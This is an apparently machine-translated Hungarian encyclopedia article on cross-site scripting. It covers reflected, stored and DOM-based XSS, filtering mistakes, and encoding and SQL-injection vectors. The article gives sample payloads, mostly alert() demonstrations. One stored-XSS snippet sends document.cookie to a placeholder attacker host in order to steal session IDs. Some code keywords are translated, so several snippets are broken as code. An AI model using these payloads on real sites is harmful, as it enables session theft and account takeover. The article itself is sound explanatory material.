XSS ( angolul Cross-Site Scripting - "cross -site scripting ") - egyfajta támadás a webes rendszerek ellen, amely abból áll, hogy rosszindulatú kódot juttatnak be a webes rendszer által kiadott oldalra (amely a felhasználó számítógépén végrehajtásra kerül, amikor megnyílik ezen az oldalon), valamint a kód interakcióját a támadó webszerverével. Ez a Code Injection támadás egy változata .
Az ilyen támadások sajátossága, hogy a rosszindulatú kód felhasználhatja a webes rendszerben a felhasználó jogosultságát , hogy kiterjesztett hozzáférést kapjon hozzá, vagy megszerezze a felhasználó jogosultsági adatait. A rosszindulatú kód beilleszthető egy oldalra a webszerver vagy a felhasználó számítógépének biztonsági rése révén [ 1] .
A kifejezést "XSS"-nek rövidítjük, hogy elkerüljük a „CSS” rövidítést használó lépcsőzetes stíluslapokkal való összetéveszthetőséget.
Az OWASP 2021 [2] szerint az XSS a harmadik helyen áll a Webes alkalmazások kulcsfontosságú kockázatai között . A programozók sokáig nem fordítottak kellő figyelmet rájuk, ártalmatlannak tartották őket. Ez a vélemény azonban téves: nagyon érzékeny adatok lehetnek egy oldalon vagy egy HTTP cookie -ban (például rendszergazdai munkamenet -azonosító vagy fizetési bizonylatok száma), és ahol nincs védelem a CSRF ellen , a támadó bármilyen műveletet végrehajthat. a felhasználó rendelkezésére áll. A helyeken átívelő szkriptek használhatók DoS támadások végrehajtására [3] .
Az internetes biztonságot számos mechanizmus kényszeríti ki, beleértve a tartománykorlátozási szabály néven ismert fontos fogalmat . Ez a szabály lehetővé teszi, hogy az ugyanazon webhely (https://mybank.example.com) oldalain található szkriptek korlátozás nélkül hozzáférjenek egymás metódusaihoz és tulajdonságaihoz, de megakadályozza a hozzáférést a legtöbb metódushoz és tulajdonsághoz egy másik webhely oldalain (https://) othersite .example.com) (nem elérhető link) [4] .
A webhelyek közötti szkriptelés a webalkalmazások, szerverek (vagy a hozzájuk kapcsolódó rendszerbővítmények) ismert sebezhetőségeit használja ki. Ezek egyikével a támadó rosszindulatú tartalmat ágyaz be egy már feltört webhely tartalmába. Ennek eredményeként a felhasználó egy webböngészőben kapja meg az egyesített tartalmat, amely megbízható forrásból származik, és így az adott rendszernek adott engedélyek szerint jár el. Miután sikerült beillesztenie a szükséges szkriptet egy weboldalba, a támadó magasabb jogosultságokat szerezhet a weblapokkal, a cookie-kkal és a böngészőben tárolt egyéb információkkal való munka során egy adott felhasználó számára.
A "cross-site scripting" kifejezés eredetileg egy sebezhető webalkalmazásnak a támadó webhelyével való interakcióját jelentette, oly módon, hogy a támadó által készített JavaScript -kód a megtámadott tartomány kontextusában futott le (reflektált vagy tárolt XSS-sebezhetőség). Fokozatosan a definíció más kódbeágyazási módokat is tartalmazott, beleértve a robusztus és nem JavaScript nyelvek (például ActiveX , Java , VBScript , Flash , sőt HTML ) használatát is, ami zavart keltett az információbiztonság újoncainak körében . [5]
A React JS-könyvtár elleni XSS-támadások nagyrészt kivédhetők, mivel a renderelés előtt mindent karakterláncokká alakítanak át. Ez biztosítja, hogy soha senki ne szúrjon be olyasmit, amit egy JS-fejlesztő kifejezetten nem írt be egy webalkalmazásba.
Az 1990 - es évek közepe óta jelentették és kihasználták az XSS sebezhetőségeit [6] . A múltban érintett jelentős webhelyek közé tartoznak a közösségi oldalak, mint például a Twitter [7] , a VKontakte [8] , a MySpace [9] , a YouTube [10] , a Facebook [11] és mások.
A helyek közötti szkriptelésnek nincs egyértelmű besorolása. A legtöbb szakértő azonban legalább két XSS-típust különböztet meg: "visszaverődött" ("visszavert XSS" vagy "1. típus") és "tárolt" ("tárolt XSS" vagy "2. típus") .
A tükrözött sebezhetőségi támadás messze a leggyakoribb XSS-támadás [13] . Ezek a sérülékenységek akkor fordulnak elő, amikor egy webes kliens által, leggyakrabban HTTP-kérelem-paraméterekben vagy HTML -formátumban szolgáltatott adatokat közvetlenül a szerveroldali szkriptek hajtják végre, hogy megfelelő feldolgozás nélkül elemzik és megjelenítsék az adott kliens eredményoldalát [14] . A tükrözött XSS-támadás akkor indul el, ha a felhasználó egy speciálisan kialakított hivatkozásra kattint.
Példa:
http://example.com/search.php?q= < script > DoSomething ();</ script >Ha a webhely nem hagyja el a szögletes zárójeleket a " <" és " >" formátumúvá konvertálással, akkor a szkript a keresési eredményoldalon jelenik meg.
A visszatükröződő támadásokat általában e-mailben küldik, vagy egy weboldalon teszik közzé. A csali URL nem gyanús, megbízható webhelyre mutat, de XSS vektort tartalmaz. Ha a megbízható webhely sebezhető az XSS-vektorral szemben, akkor a hivatkozás követése arra késztetheti, hogy az áldozat böngészője végrehajtsa a beágyazott szkriptet.
Tárolt (állandó)A tárolt XSS a támadások legpusztítóbb típusa. A tárolt XSS akkor lehetséges, ha a támadónak sikerül rosszindulatú kódot juttatnia egy kiszolgálóra, amely a böngészőben minden alkalommal végrehajtódik, amikor az eredeti oldalt megnyitják. Klasszikus példája ennek a sérülékenységnek a fórumok, ahol korlátozás nélkül megengedett HTML formátumú megjegyzések hagyása, valamint más Web 2.0 oldalak (blogok, wikik, képtáblák ), amikor a felhasználói szövegek és képek a szerveren vannak tárolva. Ezekbe a szövegekbe és ábrákba szkripteket illesztenek be.
Kódrészlet egy munkamenet-azonosítóval rendelkező kulcs ellopásához:
< script > dokumentum . location = "http://attackerhost.example/cgi-bin/cookiesteal.cgi?" + dokumentum . cookie </ script > DOM modellekA DOM-ban lévő XSS a kliens oldalon történik a JavaScript-szkripten belüli adatfeldolgozás során. Ez a fajta XSS azért kapta a nevét, mert a DOM-on (Document Object Model) valósítják meg – egy platform- és nyelvfüggetlen programozói felületen, amely lehetővé teszi a programok és szkriptek számára a HTML és XML dokumentumok tartalmának elérését, valamint a tartalom megváltoztatását, az ilyen dokumentumok szerkezete és kialakítása . Helytelen szűréssel lehetőség van a megtámadott webhely DOM-jának módosítására és JavaScript-kód végrehajtására a támadott webhely kontextusában.
Példa:
< body > < script > dokumentum . írás ( hely . href );</ script > </ body >Az XSS DOM példa egy hiba , amelyet 2011 -ben találtak több jQuery bővítményben [15] . Az XSS DOM megelőzési technikák közé tartoznak a hagyományos XSS-re jellemző, de javascriptben implementált és weboldalakra küldött intézkedések – bemeneti ellenőrzés és támadásmegelőzés [16] . Egyes javascript- keretrendszerek beépített védelemmel rendelkeznek ezekkel és más típusú támadásokkal szemben, mint például az AngularJS [17] .
Bugzilla , 2004 [19] Egyes böngészőkben (legalább Internet Explorer ) URL megadásakor
http://bugzilla.mozilla.org/enter_bug.cgi ? <script>alert('foo');</script>nincs URL kódolás, és a kód
dokumentumot . write ( "<p>URL: " + dokumentum . hely + "</p>" );szúrja be a szkriptet az oldalba.
A hibák miatt a böngésző SVG -ben futtathat szkripteket , ami megsérti az azonos tartományi szabályzat szabályát . Ezek súlyos hibák; felfedezésük után gyorsan bezárják őket, azonban az átmeneti időszakban szinte minden Web 2.0 oldal veszélyessé válik : fórumok, wikik, képtáblák. Ha ilyen hibát talál, javasoljuk, hogy használjon másik böngészőt a frissítés megjelenéséig.
Vannak finomabb hibák is, amelyek nagyon speciális körülmények között jelennek meg, és nem okoznak jelentős károkat. Az ilyen hibákat évekig nem lehet kijavítani, és jövedelmezőbb az oldalt javítani, mint várni a böngésző frissítésére.
Nem szabad kihagyni a HTML speciális karaktereit Minden egyéni szöveget meg kell szüntetniphpBB , 2002 [20] [21] . Bár a kép URL-jét a protokoll ellenőrzi (csak engedélyezett http:), magát az URL-t semmilyen módon nem szabadul fel a rendszer, és egy sor, mint pl.
[img] http://aa/a "onror=" javascript:alert(document.cookie)[/img]egyéni szkriptet húzhat a dokumentumba.
A webhelyhibák sokkal gyakoribbak. Annak érdekében, hogy a böngésző ne tévessze össze a karakterláncot HTML-címkével, öt karaktert kell megtisztítani'"&<> : . Előfordulhat, hogy a szerver nem hagyja el az összes karaktert (egy jól ismert PHP hiba [22] ), vagy a webprogramozó egyszerűen elfelejti kihagyni a karakterláncot.
Általában a szöveget megtisztítás nélkül tárolják az adatbázisokban , és minden egyéni karakterláncot meg kell szüntetni minden alkalommal, amikor beágyazzák őket HTML-be: például ha a kép URL -címe nincs megtisztítva , akkor a felhasználó valami ilyesmit írhat be http://example.com/img.png" onmouseover="javascript:DoSomething();.
Sok webhely lehetővé teszi a szöveg formázását valamilyen jelölőnyelv használatával ( HTML , BBCode , wiki jelölő ). A jelölőnyelv teljes lexikális elemzését gyakran nem végzik el, hanem csak reguláris kifejezések segítségével alakítják át „biztonságos” HTML-vé [23] . Ez leegyszerűsíti a programozást, de alapos megértést igényel, hogy a szkript hogyan tud behatolni a kapott HTML-kódba.
Nincs szűrés az attribútumok és értékeik között az engedélyezett címkékbenTipikus példa erre egy hivatkozás <a href="javascript:DoSomething()">. Még ha a fórum engedélyezi is a külső hivatkozásokat, ne engedje a protokollokat javascript:és a data:.
Más támadások nem XSS-ek, de más támadások sem kevésbé károsak: a hacker szűk internetes csatornával rendelkező szervert adhat meg címként, megbénítva ezzel annak munkáját nagy számú kéréssel, vagy XSRF támadás megszervezésére használhatja.
A kódolás módosítása az oldal fejlécébenA modern böngészők megpróbálják menet közben meghatározni egy oldal kódolását, és ennek a kódolásnak megfelelően értelmezik a html-t. Ha a címke a címke <title>előtt található, és meg van töltve felhasználói adatokkal, akkor a hacker rosszindulatú UTF-7<meta> kódolású html kódot illeszthet be , így megkerülheti az olyan karakterek szűrését, mint pl . A biztonsági rés elleni védelem érdekében az egyéni mezők előtt kifejezetten meg kell adnia az oldal kódolását. A HTML 5 kifejezetten tiltja az UTF-7 kódolás böngészőjének támogatását, mivel ez potenciálisan veszélyes. [24]<"
SQL Injection segítségévelHa az oldal egyszerre lehetővé teszi az SQL kód befecskendezését és az adatbázis tartalmát kilépés nélkül megjeleníti (akár tudatlanságból, akár a kész HTML kódot tárolják az adatbázisban, [25] vagy a szerző biztosan tudja, hogy nincsenek „rossz” karakterek az adatbázisban), akkor szokatlan támadást hajthat végre.
Az SQL kód beszúrásával a „mérgezett” oldalt írjuk az adatbázisba. Ha valaki hozzáfér ehhez az adatbázis-sorhoz, egy rosszindulatú szkript lép be a böngészőjébe. Vannak támadások anélkül, hogy HTML-t tárolnának az adatbázisban – a DBMS az adatbázisban tárolt mező helyett a kérés szövegében szereplő szkriptet adja vissza.
Egy aktív XSS-támadás nem igényel semmilyen intézkedést a felhasználó részéről a webalkalmazás funkcionalitását illetően.
Példa:
<input type=text value=a onfocus=alert(1337) AUTOFOCUS>
Ez a példa egy olyan beviteli mezőt mutat be, amely egy fókusz megjelenési eseménykezelővel rendelkezik, amely végrehajtja a tényleges támadási kódot, és az automatikus fókusz beállítási tulajdonsága aktiválva van ehhez a beviteli mezőhöz. Ez automatikusan beállítja a fókuszt, amely meghívja a támadási kódot tartalmazó fókuszkészlet-kezelőt. A támadás aktív és automatikusan végrehajtódik, anélkül, hogy a felhasználótól bármilyen tevékenységet igényelne.
Passzív (autonóm)A passzív XSS-támadás akkor indul el, amikor a felhasználó végrehajt egy bizonyos műveletet (kattint, vagy az egérmutatót viszi, stb.).
Példa:
<a href='a' onmouseover=alert(1337) style='font-size:500px'>
A példa egy hiperhivatkozást mutat be, amely különleges módon megragadja a felhasználó figyelmét és/vagy jelentős helyet foglal el, ami növeli az egérmutató lebegésének valószínűségét, jelen esetben nagy betűkkel. A hiperhivatkozásnak van egy egérmutató eseménykezelője, amely tartalmazza a támadási kódot. A támadás passzív, mert nem csinál semmit, és a támadási kód nem fut le, miközben arra vár, hogy a felhasználó a hivatkozás fölé vigye az egérmutatót.